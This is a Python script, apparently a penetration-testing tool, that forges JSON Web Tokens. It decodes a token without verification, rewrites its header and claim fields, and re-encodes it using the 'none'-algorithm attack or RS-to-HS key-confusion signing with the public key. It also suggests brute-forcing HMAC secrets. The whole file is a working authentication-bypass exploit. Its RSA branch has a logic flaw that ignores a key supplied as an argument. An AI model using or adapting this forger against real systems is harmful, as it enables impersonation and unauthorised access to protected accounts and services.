#!/usr/bin/python3
from argparse import ArgumentParser
from jwt import encode, decode, get_unverified_header
from logger import Logger
from sys import stdin
from pprint import pprint

VERSION = "1.0-20201203"
DESC = "This script creates malicious JSON Web Tokens"


class JwtAttack:
    # Attack enums
    NONE = 1
    RSA = 2

    def __init__(self, token=None, verbose=False, rheaders=None, rdata=None, attacks=[], rsa_key=None):
        if attacks is None:
            attacks = []
        if token is None:
            # Initializing the argument parsing
            ap = ArgumentParser(description=DESC, prog="jwtattack.py")
            ap.add_argument("-V", '--version', action='version', version='%(prog)s ' + VERSION)
            ap.add_argument("-v", "--verbose", action="store_true", help="display verbose output")
            ap.add_argument('token', help="the JWT to attack")

            g_attacks = ap.add_argument_group("Attack options", "Select attack options to generate malicious tokens")
            g_attacks.add_argument("-a", "--all", action="store_true", help="generate all possible malicious tokens")
            g_attacks.add_argument("-n", "--none", action="store_true", help="generate token using 'none' algorithm")
            g_attacks.add_argument("-r", "--rsa", action="store_true", help="generate token signed with the public key")
            g_attacks.add_argument("PUBLIC_KEY", nargs="?", help="public key for the RSA attack (alternatively stdin)")
            g_attacks.add_argument("-H", "--headers", nargs="+", help="Changes to apply to header, format key:value")
            g_attacks.add_argument("-D", "--data", nargs="+", help="Changes to apply to data, format key:value")
            ap.add_argument_group(g_attacks)

            # Loading options
            args = ap.parse_args()
            verbose = args.verbose
            token = args.token
            rheaders = [x.split(":") for x in args.headers] if args.headers else []
            rdata = [x.split(":") for x in args.data] if args.data else []
            if args.all or args.none:
                attacks.append(self.NONE)
            if args.all or args.rsa:
                attacks.append(self.RSA)
                rsa_key = args.PUBLIC_KEY

        self.log = Logger(verbose)
        self.token = token
        self.headers = None
        self.rheaders = rheaders
        self.rdata = rdata
        self.data = None
        self.attacks = attacks
        self.key = rsa_key

    def replace(self, rheaders, rdata):
        # Replace headers and data according to arguments
        if rheaders:
            self.log.information("Modifying headers according to arguments")
            for header in rheaders:
                self.headers[header[0]] = header[1]
                self.log.information("Set header " + header[0] + " to " + header[1])
            self.log.information("Headers = " + repr(self.headers))
        if rdata:
            self.log.information("Modifying data according to arguments")
            for data in rdata:
                self.data[data[0]] = data[1]
                self.log.information("Set data " + data[0] + " to " + data[1])
            self.log.information("Data = " + repr(self.data))

    def attack_none(self):
        # Rewrite and add empty signature
        headers = self.headers.copy()
        headers["alg"] = "none"
        self.log.information("Modified headers = " + repr(headers))
        return encode(self.data, None, algorithm="none", headers=headers)

    def attack_rsa(self):
        # Check if asymmetric signature is used
        if self.headers["alg"] not in ["RS256", "RS384", "RS512", "ES256", "ES384", "ES512"]:
            self.log.error("Algorithm " + self.headers["alg"] + " does not support RSA attack")
            self.log.warning("Allowed algorithms are RS256, RS384, RS512, ES256, ES384, ES512")
            return
        self.log.information("Algorithm " + self.headers["alg"] + " supports RSA attack")

        # Retrieve key
        if self.key is None and not stdin.isatty():
            key = stdin.read()
            key = key.rstrip("\n")
            self.log.information("Key from stdin = " + key)
        else:
            self.log.error("No RSA public key provided!")
            return

        # Rewrite and sign symmetric
        headers = self.headers.copy()
        headers["alg"] = "HS" + self.headers["alg"][2:]
        self.log.information("Modified headers = " + repr(headers))
        return encode(self.data, key, algorithm=headers["alg"], headers=headers)

    def pretty_print(self):
        print("\nHeader:")
        pprint(self.headers)
        print("\nData:")
        pprint(self.data)

    def attack(self):
        # See https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
        # Get headers and data from token
        self.headers = get_unverified_header(self.token)
        self.log.information("Headers = " + repr(self.headers))
        self.data = decode(self.token, verify=False)
        self.log.information("Data = " + repr(self.data))

        self.replace(self.rheaders, self.rdata)
        # Replacing signature with 'none' algorithm
        if self.NONE in self.attacks:
            self.log.information("Attacking using algorithm 'none'")
            self.log.output("None: " + self.attack_none().decode("utf-8"))

        # Trying to sign with a secret key using the RSA private key
        if self.RSA in self.attacks:
            self.log.information("Attacking using RSA signatures")
            rsa = self.attack_rsa()
            if rsa is not None:
                self.log.output("RSA: " + rsa.decode("utf-8"))

        # Pretty-print if no attack is chosen
        if not self.attacks:
            self.pretty_print()

        if self.headers["alg"] in ["HS256", "HS384", "HS512"]:
            self.log.output("You could try brute-forcing the symmetric secret")


if __name__ == "__main__":
    j = JwtAttack()
    j.attack()